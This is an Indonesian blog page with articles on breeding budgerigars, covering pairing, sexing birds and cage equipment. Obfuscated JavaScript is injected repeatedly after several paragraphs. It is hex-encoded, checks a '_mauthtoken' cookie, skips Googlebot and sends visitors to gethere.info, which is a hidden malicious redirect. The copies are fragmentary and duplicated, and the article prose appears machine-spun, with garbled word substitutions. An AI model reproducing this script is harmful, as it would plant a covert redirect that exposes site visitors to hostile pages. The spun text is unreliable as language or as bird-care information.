IBX5980432E7F390 Tutorial Mudah Mengawinkan Indukan Burung Parkit Kupas Triknya - Kicauan Burung Lovebird Ngekek

Tutorial Mudah Mengawinkan Indukan Burung Parkit Kupas Triknya

Cara Mudah Mengawinkan Indukan Burung Parkit

Cara simpel mengawinkan indukan burung parkit-selain untuk dibudidayakan,jeis burung parkit juga banyak juga orang yang membudidayakanya.untuk harga parkit sendiri,sesuai pengetahuan kami di pasaran,harga yang dipatok juga relatif mahal.berkisar 100 hingga 3 juta rupiah.akan tetapi semua tergantu dari kualitas parkit itu sendiri,semakin berkualitas,harga yang di tawarkan juga semakin mahal.

Jika ingin menerima anakan yang baik, maka ketika parkit sedang periode reproduksi penangkar atau dalam proses perkawinan,kkita sebagai juragan haris terus mengamati perkembanganya. Cara Praktis Mengawinkan Indukan Burung Parkit

Kenapa harus demikian? Karena dengan mengamati kita mampu melihat secara eksklusif bagaimana calon indukan bereproduksi. Ada beberapa hal yang harus diperhatiakn sebelum colon indukan melaksanakan proses reproduksi:

  1. Kandang penangkaran harus jauh dari keramaian, lantaran bila kita meletakkan sangkar burung di tempat yang ramai maka burung parkit akan merasa dirinya terancam.
  2. Kandang penangkaran harus ada kawasan di mana parkit akan bertelur. Pembuatan kawasan bertelur haruslah lebih banyak dibandingkan dengan pasangan yang ada di dalam sangkar tersebut. Kenapa sangkar harus dibuat lebih dari jumlah pasangan yang ada di dalam sangkar? Supaya burung parkit lebih leluasa menentukan tempat bertelur yang nyaman.

Sebelum burung jantan merasa masih ada ancaman dari burung parkit lain, maka parkit jantan setiap harinya akan menjaga kawasan bertelurnya sampai burung jantan merasa aman. Di usia 4,5 bulan, burung parkit siap kawin. Ketika burung parkit memasuki kala kawin maka tandanya adalah burung parkit tersebut mulai ganti bulu mudannya.

Pengeraman ialah proses yang harus dilalui oleh burung parkit betina. Proses ini memakan waktu tidak terlalau lama, hanya sekitaran 16 hari saja. Supaya pengeramannya berjalan dengan baik, maka parkit betina dan jantan pun saling membuatkan peran.

Tugas burung parkit betina adalah mengerami telur-telurnya. Sedangkan tugas dari parkit jantan adalah mencari makan dan minum untuk lalu dilolohkan kepada betina yang sedang mengerami telurnya.

Ketika indukan final mengeram, maka telur akan menetas. Pertumbuhan bulu pertama sesudah anakan ketika berusia 10 hari. Ketika berusia 34 hari, bulu anakan akan keluar semuanya. Dalam proses membesarkan anakan parkit, tidak semuanya parkit dibesarkan oleh induknya. Anakan juga ada yang dibesarkan oleh penangkar.

Cara membesarkan anakan antara induk dan penangkar berbeda. Jika dibesarkan oleh induknya, maka pertolongan pakan dilakukan dengan cara meloloh. Akan tetapi, jikalau dibesarkan dengan penangkar, maka santunan pakannya dengan cara menyuntikkan makanan ke dalam mulut burung.

Ketika memberikan pakan kepada burung haruslah diperhatiakn dengan benar. Waktu pemeberian pakan dilakukan setiap 4 jam sekali. Misalnya diberiakn pada jam 07.00, 11.00, 15. 00, dan seterusnya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)i\-))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Perjodohan Dan Pemilihan Induk Betina Burung Parkit
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Pakan Burung Parkit Beras Merah Kasiat Serta Gizinya
  • Cara Membuat Kandang Burung Parkit Model Kawat
  • Jenis penyakit Burung Parkit Dan Cara Mengobatinya
  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Penyakit Yang Disebabkan Burung ganti bulu/Mabung
  • Membuat Kandang Burung Parkit Bentuk Bateray
  • Ciri Dan Gejala Burung Parkit Terserang Penyakit
  • Bentuk Dan Model Membuat Kandang Burung Parkit Gacor
  • Kualitas Sarang Walet Dari Bentuk Dan Warna

Perjodohan Dan Pemilihan Induk Betina Burung Parkit

Perjodohan dan pemilihan induk betina burung parkit-Sebelum membudidayakan burung parkit, kita harus tau banyak memperlajari apa saja yang di butuhkan jenis burung ini untuk bisa bertahan hidup dan bisa berkembangserta teori membudidayakan burung parkit. Jika kita tidak menguasai teori membudidayakan burung parkit, maka usaha yang kita jalankan tidak berhasil. Ada beberapa cara dalam aktivitas menangkarkan parkit:Perjodohan Dan Pemilihan Induk Betina Burung Parkit

Penjodohan

Burung parkit sebaiknya dijodohkan. Agar burung parkit telihat mesra dengan pasangannya. Jika tidak dijodohkan maka burung parkit tidak akan melalui proses perkawinan. Jika burung parkit sudah mendapatkan jodoh otomatis burung parkit akan menghasilkan telur. Disini dalam tahap penjodohan, dilarang sembarangan, agar  burung parkit dapat leluasa dalam menentukan jodohnya. Sebaiknya burung parkit mencari sendiri pasangan jodohnya.

Banyak peternak di Indonesia menggunakan sistem perkawinan poligami, maksudnya, satu ekor burung parkit jantan sengaja dibiarkan untuk mempunyai jodoh lebih dari satu. Karena, indukan hanya bertugas  mengerami telurnya saja. Sedangkan pejantan hanya bertugas untuk memberikan makanan dari luar.

Pemilihan induk

Di dalam proses pemilihan induk, ada beberapa kriteria yang harus diperhatikan, seakan-akan dihentikan cacat, fisiknay terliaht sehat, Selain itu ada beberapa hal yang diusahakan untuk menentukan indukan yang baik. Hal tersebut adalah indukan harus dipilih yang berbeda dari segi warnanya, memilih indukan juga harus dilihat dengan jelas jenis kelaminnya, apakah indukan tersebut betina atau jantan. Jika tidak diperhatikan dengan terang maka akan berakibat fatal nantinya.

Antara anakan burung parkit jantan dan betina berbeda satu sama lainnya. Salah satu perbedaannya ialah paruhnya. Jika pada anakan burung parkit jantan paruhnya mempunyai warna agak hitam, lain halnya dengan anakan burung betina. Warna paruh yang dimiliki oleh anakan burung parkit anakan betina ialah berwarna krem bersih.

Sama halnya dengan parkit anakan, burung parkit cukup umur pun juga memiliki perbedaan antara jantan dan betina. Perbedaan antara burung parkit jantan dan parkit betina mampu kita lihat dengan terperinci setelah umur parkit betina dan jantan sekitar 5 bulanan. Setelah berumur 5 bulan kita dapat melihat dengan praktis apakah jenis kelamin burung tersebut betina atau jantan.

Perbedaan antara burung parkit sampaumur jantan dan betina ialah dibagian lubang hidungnya. Apabila di bagian atas lubang hidungnya memiliki warna biru, berarti burung tersebut berjenis kelamin jantan. Jika itu yaitu burung parkit sampaumur betina tandanya yaitu dibagian atas lubang hidung parkit remaja betina berwarna putih agak kotor, atau adakala berwarna kream atau coklat.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)o2im)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Cara Mudah Mengawinkan Indukan Burung Parkit
  • Perlengkapan Untuk Budidaya Burung Parkit Sederhana
  • Burung Parkit Asal-Usulnya Di Alam Liar
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Penyakit Yang Disebabkan Burung ganti bulu/Mabung
  • Mengobati Burung Parkit Yang Sedang Sakit
  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Cara Membuat Kandang Burung Parkit Model Kawat
  • Membuat Kandang Burung Parkit Bentuk Bateray

Perlengkapan Untuk Budidaya Burung Parkit Sederhana

Perlengkapan Untuk Budidaya Burung parkit sederhana-Dalam budidaya parkit, hal yang paling diperhatikan yaitu perlengkapan kandang. Kenapa perlengkapan sangat diutamakan? itu bertujuan biar parkit tersebut dapat tumbuh dengan baik. Adapun perlengkapan yang digunakan yaitu sebagai berikut:Perlengkapan Untuk Budidaya Burung Parkit

  • Tempat bertelurnya burung parkit

Biasanya kawasan bertelurnya burung terbuat dari triplek yang diberi lobang kecil dimana lobang tersebut yaitu tempat masuknya burung parkit. Sebaiknya kawasan bertelurnya burung parkit disediakan dalam jumlah banyak, supaya burung parkit mampu leluasa bertelur. Diusahakan daerah bertelurnya burung parkit terbebas dari gangguan binatang-binatang yang berbahaya.

  • Tempat untuk bertengger

Seperti kandang burung pada umumnya, harus dilengkapi dengan tenggeran. Biasanay tenggeran itu terbuat dari kayu yang kokoh dan tidak praktis patah. Kenapa harus yang kokoh? Karena burung parkit ini biasa menghancurkan kayu dengan memakai paruhnya.

  • Tempat untuk makan dan minum

Biasanya burung parkit ialah burung yang sangat sedikit dalam mengkonsumsi minum. Kaprikornus, daerah air minumnya jangan terlalu besar lantaran dapat memakan daerah kandang. Sedangkan untuk tempat pakan harus diletakkan di kawasan yang strategis yaitu daerah yang rendah supaya anak burung parkit biar praktis makan sendiri. Sebaiknya kawasan pakan jangan didekatkan dengan kawasan air minum karena jika pakan terkena air burung parkit tidak akan mau memakannya lagi.

Biasanya kawasan pakan dibuat dengan memakai triplek dibentuk seperti nampan plastik. Untuk menghindari berebutnya burung parkit dalam mengonsumsi kuliner, maka setidaknya ada tiga buah kawasan pakan.

  • Kain untuk menutup sangkar supaya tidak pribadi terkena sinar matahari

Dalam memelihara burung parkit epilog sangkar sangat diperlukan, lantaran cuaca yang tidak menentu dapat menimbulkan burung parkit menjadi sakit. Jika waktu panas, penutup sangkar sebaiknya dibuka, begitu juga sebaliknya. Jika trend cuek sebaiknya penutup sangkar ditutup semoga burung tidak kedinginan. Sebaiknya kain penutup sangkar berwarna hitam biar tidak terlalu terkena sinar matahari/cahaya.

  • Lampu penerangan

Sebenarnya lampu penerangan ini tidak terlalu dibutuhkan dalam memelihara burung parkit. Maksud dari lampu penerangan ini biar lelbih terlihat terang. Kenapa lampu penerangan juga dibutuhkan dalam penangkaran parkit? Sebab ketika burung parkit meloloh anaknya di malam hari, burung parkit menerima pencahayaan yang cukup.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)midp)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Burung Parkit Asal-Usulnya Di Alam Liar
  • Perjodohan Dan Pemilihan Induk Betina Burung Parkit
  • Pakan Burung Parkit Beras Merah Kasiat Serta Gizinya
  • Cara Mudah Mengawinkan Indukan Burung Parkit
  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Penyakit Yang Disebabkan Burung ganti bulu/Mabung
  • Cara Membuat Kandang Burung Parkit Model Kawat
  • Membuat Kandang Burung Parkit Bentuk Bateray
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Jenis penyakit Burung Parkit Dan Cara Mengobatinya

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Tutorial Mudah Mengawinkan Indukan Burung Parkit Kupas Triknya"

Posting Komentar